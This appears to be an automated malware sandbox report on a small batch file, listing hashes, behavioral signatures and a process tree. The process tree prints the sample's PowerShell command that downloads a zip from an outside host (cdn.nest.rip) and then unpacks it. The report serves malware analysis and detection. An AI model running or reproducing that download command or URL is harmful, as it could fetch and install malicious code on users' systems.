Overview
overview
10Static
static
1tesy - Copy (10).bat
windows7-x64
10tesy - Copy (10).bat
windows10-2004-x64
10tesy - Copy (11).bat
windows7-x64
10tesy - Copy (11).bat
windows10-2004-x64
10tesy - Copy (12).bat
windows7-x64
10tesy - Copy (12).bat
windows10-2004-x64
10tesy - Copy (13).bat
windows7-x64
10tesy - Copy (13).bat
windows10-2004-x64
10tesy - Copy (14).bat
windows7-x64
10tesy - Copy (14).bat
windows10-2004-x64
10tesy - Copy (2).bat
windows7-x64
10tesy - Copy (2).bat
windows10-2004-x64
10tesy - Copy (3).bat
windows7-x64
10tesy - Copy (3).bat
windows10-2004-x64
10tesy - Copy (4).bat
windows7-x64
10tesy - Copy (4).bat
windows10-2004-x64
10tesy - Copy (5).bat
windows7-x64
10tesy - Copy (5).bat
windows10-2004-x64
10tesy - Copy (6).bat
windows7-x64
10tesy - Copy (6).bat
windows10-2004-x64
10tesy - Copy (7).bat
windows7-x64
10tesy - Copy (7).bat
windows10-2004-x64
10tesy - Copy (8).bat
windows7-x64
10tesy - Copy (8).bat
windows10-2004-x64
10tesy - Copy (9).bat
windows7-x64
10tesy - Copy (9).bat
windows10-2004-x64
10tesy - Copy.bat
windows7-x64
10tesy - Copy.bat
windows10-2004-x64
10tesy.bat
windows7-x64
10tesy.bat
windows10-2004-x64
10Analysis
-
max time kernel
1561s -
max time network
1564s -
platform
windows7_x64 -
resource
win7-20231023-en -
resource tags
arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system -
submitted
06/11/2023, 17:25
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win7-20231020-en
Behavioral task
behavioral2
Sample
tesy - Copy (10).bat
Resource
win10v2004-20231023-en
Behavioral task
behavioral3
Sample
tesy - Copy (11).bat
Resource
win7-20231023-en
Behavioral task
behavioral4
Sample
tesy - Copy (11).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral5
Sample
tesy - Copy (12).bat
Resource
win7-20231023-en
Behavioral task
behavioral6
Sample
tesy - Copy (12).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral7
Sample
tesy - Copy (13).bat
Resource
win7-20231023-en
Behavioral task
behavioral8
Sample
tesy - Copy (13).bat
Resource
win10v2004-20231023-en
Behavioral task
behavioral9
Sample
tesy - Copy (14).bat
Resource
win7-20231023-en
Behavioral task
behavioral10
Sample
tesy - Copy (14).bat
Resource
win10v2004-20231025-en
Behavioral task
behavioral11
Sample
tesy - Copy (2).bat
Resource
win7-20231020-en
Behavioral task
behavioral12
Sample
tesy - Copy (2).bat
Resource
win10v2004-20231023-en
Behavioral task
behavioral13
Sample
tesy - Copy (3).bat
Resource
win7-20231023-en
Behavioral task
behavioral14
Sample
tesy - Copy (3).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral15
Sample
tesy - Copy (4).bat
Resource
win7-20231020-en
Behavioral task
behavioral16
Sample
tesy - Copy (4).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral17
Sample
tesy - Copy (5).bat
Resource
win7-20231020-en
Behavioral task
behavioral18
Sample
tesy - Copy (5).bat
Resource
win10v2004-20231023-en
Behavioral task
behavioral19
Sample
tesy - Copy (6).bat
Resource
win7-20231023-en
Behavioral task
behavioral20
Sample
tesy - Copy (6).bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral21
Sample
tesy - Copy (7).bat
Resource
win7-20231020-en
Behavioral task
behavioral22
Sample
tesy - Copy (7).bat
Resource
win10v2004-20231023-en
Behavioral task
behavioral23
Sample
tesy - Copy (8).bat
Resource
win7-20231025-en
Behavioral task
behavioral24
Sample
tesy - Copy (8).bat
Resource
win10v2004-20231025-en
Behavioral task
behavioral25
Sample
tesy - Copy (9).bat
Resource
win7-20231020-en
Behavioral task
behavioral26
Sample
tesy - Copy (9).bat
Resource
win10v2004-20231023-en
Behavioral task
behavioral27
Sample
tesy - Copy.bat
Resource
win7-20231020-en
Behavioral task
behavioral28
Sample
tesy - Copy.bat
Resource
win10v2004-20231020-en
Behavioral task
behavioral29
Sample
tesy.bat
Resource
win7-20231020-en
General
-
Target
tesy - Copy (13).bat
-
Size
706B
-
MD5
035f17438f6146d5ac7285b4adfeb370
-
SHA1
ef83c877367e96073e2b9b841d9c03ece6b1df7e
-
SHA256
02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
-
SHA512
49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf
Malware Config
Extracted
https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 3 616 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 616 powershell.exe 2716 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 616 powershell.exe Token: SeDebugPrivilege 2716 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2244 wrote to memory of 616 2244 cmd.exe 29 PID 2244 wrote to memory of 616 2244 cmd.exe 29 PID 2244 wrote to memory of 616 2244 cmd.exe 29 PID 2244 wrote to memory of 2716 2244 cmd.exe 30 PID 2244 wrote to memory of 2716 2244 cmd.exe 30 PID 2244 wrote to memory of 2716 2244 cmd.exe 30
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2244 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:616
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2716
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD543b2cdf514142c1b0ab51d126f4d0c91
SHA1393f33b54ac10c341991d0a59457c1ee0403926a
SHA256c47880cc50863ee72c70b2c2d7538d039c2f4a7d3f1c36b7125830291a38ae3d
SHA51262e8f99b88a9be9324badc9e162fd46f8d783aa38d78546d13f41c78d9125af5d3af312ac08b8a9d712b2deb61df380914a3a07bc215253d2997499d197d04fd
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T1H428OKPBQHHSNNP5I8.temp
Filesize7KB
MD543b2cdf514142c1b0ab51d126f4d0c91
SHA1393f33b54ac10c341991d0a59457c1ee0403926a
SHA256c47880cc50863ee72c70b2c2d7538d039c2f4a7d3f1c36b7125830291a38ae3d
SHA51262e8f99b88a9be9324badc9e162fd46f8d783aa38d78546d13f41c78d9125af5d3af312ac08b8a9d712b2deb61df380914a3a07bc215253d2997499d197d04fd